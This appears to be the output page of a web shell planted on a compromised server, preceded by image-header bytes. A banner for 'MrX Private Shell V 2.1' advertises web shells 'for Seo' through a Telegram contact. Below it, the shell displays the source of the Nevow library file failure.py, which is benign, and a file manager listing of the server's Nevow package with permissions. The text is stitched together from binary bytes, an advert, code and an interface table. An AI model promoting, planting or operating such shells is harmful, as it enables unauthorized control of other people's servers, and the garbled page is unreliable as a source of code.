����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# Copyright (c) 2004 Divmod.
# See LICENSE for details.
# failure.py
import types
import linecache
import re
from nevow import tags as t
from twisted.python import failure
stylesheet = """
p.error {
color: black;
font-family: Verdana, Arial, helvetica, sans-serif;
font-weight: bold;
font-size: large;
margin: 0.25em;
}
div {
font-family: Verdana, Arial, helvetica, sans-serif;
}
strong.variableClass {
font-size: small;
}
div.stackTrace {
}
div.frame {
padding: 0.25em;
background: white;
border-bottom: thin black dotted;
}
div.firstFrame {
padding: 0.25em;
background: white;
border-top: thin black dotted;
border-bottom: thin black dotted;
}
div.location {
font-size: small;
}
div.snippet {
background: #FFFFDD;
padding: 0.25em;
}
div.snippetHighlightLine {
color: red;
}
span.lineno {
font-size: small;
}
pre.code {
margin: 0px;
padding: 0px;
display: inline;
font-size: small;
font-family: "Courier New", courier, monotype;
}
span.function {
font-weight: bold;
font-family: "Courier New", courier, monotype;
}
table.variables {
border-collapse: collapse;
width: 100%;
}
td.varName {
width: 1in;
vertical-align: top;
font-style: italic;
font-size: small;
padding-right: 0.25em;
}
td.varValue {
padding-left: 0.25em;
padding-right: 0.25em;
font-size: small;
}
div.variables {
margin-top: 0.5em;
}
div.dict {
background: #cccc99;
padding: 2px;
float: left;
}
td.dictKey {
background: #ffff99;
font-weight: bold;
}
td.dictValue {
background: #ffff99;
}
div.list {
background: #7777cc;
padding: 2px;
float: left;
}
div.listItem {
background: #9999ff;
}
div.instance {
width: 100%;
background: #efefef;
padding: 2px;
float: left;
}
span.instanceName {
font-size: small;
display: block;
}
span.instanceRepr {
font-family: "Courier New", courier, monotype;
}
div.function {
background: orange;
font-weight: bold;
float: left;
}
"""
def saferepr(x):
try:
rx = repr(x)
except:
rx = "repr failed! %s instance at 0x%x" % (x.__class__, id(x))
return rx
def htmlDict(d):
return t.div(_class="dict")[
t.span(_class="heading")[
"Dictionary instance @ 0x%x" % id(d)
],
t.table(_class="dict")[[
t.tr[
t.td(_class="dictKey")[ k == '__builtins__' and 'builtin dictionary' or htmlrepr(k) ],
t.td(_class="dictValue")[ htmlrepr(v) ]
]
for k, v in d.items()
]]
]
def htmlList(l):
return t.div(_class="list")[
t.span(_class="heading")[ "List instance @ 0x%x" % id(l) ],
[t.div(_class="listItem")[ htmlrepr(i) ] for i in l]
]
def htmlInst(i):
return t.div(_class="instance")[
t.span(_class="instanceName")[ "%s instance at 0x%x" % (i.__class__, id(i)) ],
t.span(_class="instanceRepr")[ saferepr(i) ]
]
def htmlString(s):
return s
def htmlFunc(f):
return t.div(_class="function")[
"Function %s in file %s at line %s" % (f.__name__, f.func_code.co_filename, f.func_code.co_firstlineno)
]
def htmlMeth(m):
return t.div(_class="method")[
"Method %s in file %s at line %s" % (m.im_func.__name__, m.im_func.func_code.co_filename, m.im_func.func_code.co_firstlineno)
]
def htmlUnknown(u):
return t.pre[
saferepr(u)
]
htmlReprTypes = {
types.DictType: htmlDict,
types.ListType: htmlList,
types.InstanceType: htmlInst,
types.StringType: htmlString,
types.FunctionType: htmlFunc,
types.MethodType: htmlMeth,
}
def htmlrepr(x):
return htmlReprTypes.get(type(x), htmlUnknown)(x)
def varTable(usedVars):
return t.table(_class="variables")[[
t.tr(_class="varRow")[
t.td(_class="varName")[ key ],
t.td(_class="varValue")[ htmlrepr(value) ]
]
for (key, value) in usedVars
]]
def formatFailure(myFailure):
if not isinstance(myFailure, failure.Failure):
return t.pre[ str(myFailure) ]
stackTrace = t.div(_class="stackTrace")
failureOverview = t.p(_class="error")[ str(myFailure.type), ": ", str(myFailure.value) ]
result = [
t.style(type="text/css")[
stylesheet,
],
t.a(href="#tracebackEnd")[ failureOverview ],
stackTrace,
t.a(name="tracebackEnd")[ failureOverview ]
]
first = 1
for method, filename, lineno, localVars, globalVars in myFailure.frames:
# It's better to have a line number than nothing at all.
#if filename == '<string>':
# continue
if first:
frame = t.div(_class="firstFrame")
first = 0
else:
frame = t.div(_class="frame")
stackTrace[ frame ]
snippet = t.div(_class="snippet")
frame[
t.div(_class="location")[
filename, ", line ", lineno, " in ", t.span(_class="function")[ method ]
],
snippet,
]
textSnippet = ''
for snipLineNo in range(lineno-2, lineno+2):
snipLine = linecache.getline(filename, snipLineNo)
textSnippet += snipLine
if snipLineNo == lineno:
snippetClass = "snippetHighlightLine"
else:
snippetClass = "snippetLine"
snippet[
t.div(_class=snippetClass)[
t.span(_class="lineno")[ snipLineNo ],
t.pre(_class="code")[ snipLine ]
]
]
# Instance variables
for name, var in localVars:
if name == 'self' and hasattr(var, '__dict__'):
usedVars = [ (key, value) for (key, value) in var.__dict__.items()
if re.search(r'\Wself.%s\W' % (re.escape(key),), textSnippet) ]
if usedVars:
frame[
t.div(_class="variables")[
t.strong(_class="variableClass")[ "Self" ],
varTable(usedVars)
]
]
break
# Local and global vars
for nm, varList in ('Locals', localVars), ('Globals', globalVars):
usedVars = [ (name, var) for (name, var) in varList
if re.search(r'\W%s\W' % (re.escape(name),), textSnippet) ]
if usedVars:
frame[
t.div(_class="variables")[ t.strong(_class="variableClass")[ nm ] ],
varTable(usedVars)
]
return result
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| athena_private | Folder | 0755 |
|
|
| css | Folder | 0755 |
|
|
| flat | Folder | 0755 |
|
|
| js | Folder | 0755 |
|
|
| livetrial | Folder | 0755 |
|
|
| plugins | Folder | 0755 |
|
|
| scripts | Folder | 0755 |
|
|
| taglibrary | Folder | 0755 |
|
|
| test | Folder | 0755 |
|
|
| Canvas.fla | File | 36.5 KB | 0775 |
|
| Canvas.swf | File | 5.61 KB | 0664 |
|
| __init__.py | File | 13.85 KB | 0644 |
|
| __init__.pyc | File | 14.41 KB | 0644 |
|
| _flat.py | File | 19.63 KB | 0644 |
|
| _flat.pyc | File | 19.03 KB | 0644 |
|
| _version.py | File | 537 B | 0644 |
|
| _version.pyc | File | 676 B | 0644 |
|
| _widget_plugin.py | File | 3.34 KB | 0644 |
|
| _widget_plugin.pyc | File | 5.32 KB | 0644 |
|
| accessors.py | File | 3.68 KB | 0644 |
|
| accessors.pyc | File | 6.22 KB | 0644 |
|
| appserver.py | File | 17.58 KB | 0644 |
|
| appserver.pyc | File | 22.34 KB | 0644 |
|
| athena.py | File | 65.41 KB | 0644 |
|
| athena.pyc | File | 75.71 KB | 0644 |
|
| blocks.py | File | 6.13 KB | 0644 |
|
| blocks.pyc | File | 7.16 KB | 0644 |
|
| canvas.as | File | 6.55 KB | 0775 |
|
| canvas.py | File | 15.12 KB | 0644 |
|
| canvas.pyc | File | 23.64 KB | 0644 |
|
| compression.py | File | 6.15 KB | 0644 |
|
| compression.pyc | File | 9.18 KB | 0644 |
|
| compy.py | File | 2.29 KB | 0644 |
|
| compy.pyc | File | 2.92 KB | 0644 |
|
| context.py | File | 11.25 KB | 0644 |
|
| context.pyc | File | 12.77 KB | 0644 |
|
| dirlist.py | File | 4.51 KB | 0644 |
|
| dirlist.pyc | File | 4.88 KB | 0644 |
|
| empty-module.css | File | 0 B | 0664 |
|
| empty-module.js | File | 0 B | 0664 |
|
| entities.py | File | 11.3 KB | 0644 |
|
| entities.pyc | File | 14.99 KB | 0644 |
|
| errors.py | File | 1.29 KB | 0644 |
|
| errors.pyc | File | 2.39 KB | 0644 |
|
| events.py | File | 1.45 KB | 0644 |
|
| events.pyc | File | 2.48 KB | 0644 |
|
| failure.py | File | 6.51 KB | 0644 |
|
| failure.pyc | File | 7.57 KB | 0644 |
|
| guard.py | File | 21.07 KB | 0644 |
|
| guard.pyc | File | 23.02 KB | 0644 |
|
| i18n.py | File | 5.95 KB | 0644 |
|
| i18n.pyc | File | 7.41 KB | 0644 |
|
| inevow.py | File | 21.94 KB | 0644 |
|
| inevow.pyc | File | 36.34 KB | 0644 |
|
| itaglibrary.py | File | 82 B | 0644 |
|
| itaglibrary.pyc | File | 491 B | 0644 |
|
| json.py | File | 8.3 KB | 0644 |
|
| json.pyc | File | 13.49 KB | 0644 |
|
| jsutil.py | File | 3.83 KB | 0644 |
|
| jsutil.pyc | File | 4.22 KB | 0644 |
|
| loaders.py | File | 7.06 KB | 0644 |
|
| loaders.pyc | File | 8.33 KB | 0644 |
|
| page.py | File | 4.51 KB | 0644 |
|
| page.pyc | File | 5.58 KB | 0644 |
|
| query.py | File | 3.37 KB | 0644 |
|
| query.pyc | File | 6.17 KB | 0644 |
|
| rend.py | File | 29.16 KB | 0644 |
|
| rend.pyc | File | 36.3 KB | 0644 |
|
| stan.py | File | 20.95 KB | 0644 |
|
| stan.pyc | File | 29.03 KB | 0644 |
|
| static.py | File | 13.16 KB | 0644 |
|
| static.pyc | File | 16.45 KB | 0644 |
|
| tags.py | File | 1.91 KB | 0644 |
|
| tags.pyc | File | 2.72 KB | 0644 |
|
| testutil.py | File | 17.34 KB | 0644 |
|
| testutil.pyc | File | 26.98 KB | 0644 |
|
| url.py | File | 20.12 KB | 0644 |
|
| url.pyc | File | 25.41 KB | 0644 |
|
| useragent.py | File | 4.86 KB | 0644 |
|
| useragent.pyc | File | 4.88 KB | 0644 |
|
| util.py | File | 7.01 KB | 0644 |
|
| util.pyc | File | 9.55 KB | 0644 |
|
| vhost.py | File | 7.01 KB | 0644 |
|
| vhost.pyc | File | 9.45 KB | 0644 |
|